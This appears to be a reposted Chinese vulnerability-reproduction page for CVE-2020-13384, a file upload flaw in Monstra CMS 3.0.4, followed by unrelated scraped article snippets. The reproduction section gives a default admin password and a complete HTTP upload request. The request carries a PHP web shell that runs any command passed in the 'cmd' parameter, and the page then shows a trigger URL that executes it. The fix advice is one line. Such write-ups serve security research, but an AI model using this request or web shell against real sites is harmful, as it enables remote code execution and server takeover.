monstra 文件上传 (CVE-2020-13384)

news/2024/11/15 13:44:20/

monstra 文件上传 (CVE-2020-13384)

  • monstra 文件上传 (CVE-2020-13384)
    • 0x01 漏洞描述
    • 0x02 影响范围
    • 0x03 漏洞复现
    • 0x04 漏洞修复

所有文章,仅供安全研究与学习之用,后果自负!

monstra 文件上传 (CVE-2020-13384)

MonstraCMS是一套基于PHP与XML的现代化的轻量级内容管理系统,整套系统无需使用数据库,据说是一家乌克兰的公司开发的。

0x01 漏洞描述

Monstra CMS 3.0.4版本中存在着一处安全漏洞,该漏洞源于程序没有正确验证文件扩展名。攻击者可以上传特殊后缀的文件执行任意PHP代码。 账户名密码:admin/123456

该程序不允许’html’, ‘htm’, ‘js’, ‘jsb’, ‘mhtml’, ‘mht’, ‘php’, ‘phtml’, ‘php3’, ‘php4’, ‘php5’, ‘phps’,‘shtml’, ‘jhtml’, ‘pl’, ‘py’, ‘cgi’, ‘sh’, ‘ksh’, ‘bsh’, ‘c’, ‘htaccess’, ‘htpasswd’,‘exe’, ‘scr’, ‘dll’, ‘msi’, ‘vbs’, ‘bat’, ‘com’, ‘pif’, ‘cmd’, ‘vxd’, ‘cpl’,'empty’后缀的文件上传

poc

https://www.exploit-db.com/exploits/48479

在这里插入图片描述

0x02 影响范围

3.0.4

0x03 漏洞复现

  1. Goto: http://192.168.2.5/monstra/admin/index.php?id=filesmanager&path=uploads/

  2. Upload a one liner shell with php7 extenstion ie: shell.php7

请求包内容如下

POST /monstra/admin/index.php?id=filesmanager HTTP/1.1
Host: 192.168.2.5
Content-Length: 548
Cache-Control: max-age=0
Origin: http://192.168.2.5
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytRfyCkYq8NvztDBf
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.2.5/monstra/admin/index.php?id=filesmanager
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7
Cookie: PHPSESSID=eej6e0lqi191k2frqc2hl3v6d0; _ga=GA1.1.405623579.1579949328; _gid=GA1.1.2042923722.1579949328
Connection: close------WebKitFormBoundarytRfyCkYq8NvztDBf
Content-Disposition: form-data; name="csrf"2e6ae2353998caa319aae262b113c6b3f17a9636
------WebKitFormBoundarytRfyCkYq8NvztDBf
Content-Disposition: form-data; name="file"; filename="shell.php7"
Content-Type: application/octet-stream<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>------WebKitFormBoundarytRfyCkYq8NvztDBf
Content-Disposition: form-data; name="upload_file"Upload
------WebKitFormBoundarytRfyCkYq8NvztDBf--
  1. trigger your shell by visiting http://192.168.2.5/monstra/public/uploads/shell.php7?cmd=id

0x04 漏洞修复

升级至最新版本\

参考

https://www.exploit-db.com/exploits/48479
https://xz.aliyun.com/t/7850

http://www.ppmy.cn/news/114275.html

相关文章

IPv6环境下的网络安全观察报告总结

惯犯跟踪 “惯犯”意为我们监控到多次进行攻击的攻击源&#xff0c;持续时间较长&#xff0c;波及面较广或者危害程度较深。针对网络中的惯犯进行针对性的分析&#xff0c;能够帮助感知网络态势&#xff0c;提升威胁情报的数据深度。我们从源 IPv6 中整理出一些国外的惯犯地址…

安卓导航选购指南

转摘自&#xff1a;https://post.smzdm.com/ju/ad4xry9/ 这篇文章让我们大概知道当前市面上车载导航普遍使用的硬件方案。 第一部分 新导航的选购 目前 车载导航市场有 鼎微 、 掌讯 、方易通、 诺威达 、迪恩杰这5家的方案&#xff0c;鼎微、掌讯方案的市场份额较高。国内所有…

无线蓝牙模块在汽车DSP的应用

无线蓝牙模块在汽车DSP的应用 DSP为数字信号处理器&#xff0c;广义是指数字信号处理运算的微处理器&#xff0c;汽车DSP在此基础上增加了电子分频功能实现主动分频&#xff0c;并增加了7850的功放&#xff0c;变成了一台带数字信号处理电子分频的信号。狭义上DSP更多运用在原…

750ti显卡能支持服务器吗,NVIDIA Geforce GTX 750 Ti能玩吃鸡吗

好多朋友们的电脑配置较低&#xff0c;显卡也是当年主流级GTX 750Ti&#xff0c;如今已经是GT10系列争霸时代&#xff0c;所以很多游戏逐渐抛弃了老显卡&#xff0c;性能不达到要求是不能流畅运行的。NVIDIA Geforce GTX 750 Ti能玩吃鸡吗&#xff0c;下面引用吧友们的分享&…

MAX78000FTHR 板卡入门

MAX78000FTHR为快速开发平台&#xff0c;帮助工程师利用MAX78000 Arm Cortex M4F处理器快速实施超低功耗、人工智能(AI)方案&#xff0c;器件集成卷积神经网络加速器。评估板包括MAX20303 PMIC&#xff0c;用于电池和电源管理。评估板规格为0.9in x 2.6in、双排连接器&#xff…

宋维刚老师词霸天下38000词汇思维导图使用指南

写在前面 0、查看所有的思维导图点这里 查看38000词汇词根统计点这里 1、思维导图手工制作&#xff0c;量太大了&#xff0c;可能有些小失误&#xff08;比如&#xff1a;①单词位置放得不合理&#xff1b;②笔记不太对&#xff1b;&#xff09;&#xff0c;自己调整下哈。 2、…

2022-01-18 Caffe+Window11+Visual Studio 2015+Python3.5 CPU+GPU 配置详细教程

2022-01-18 CaffeWindow11Visual Studio 2015Python3.5 CPUGPU 配置教程 文章目录 前言1、开篇背景 一、资源准备二、配置过程-雷区1.CPU模式2.GPU模式 总结 前言 1、开篇背景 文章作者&#xff0c;一个热衷于C的业余程序员&#xff0c;心心念念大半年&#xff0c;想搞一台性…

办公游戏本降低风扇转速

今天遇见一个问题&#xff1a; 鄙人自己是一个游戏本 &#xff0c; i7 7850&#xff0c; 内存为32G&#xff0c;两个SSD&#xff0c;日常办公的时候性能肯定够用。 但是:在开机自检的时候、在打开一些大文件的时候风扇狂转&#xff0c;自己很尴尬…… 后来看了一下&#xff0c…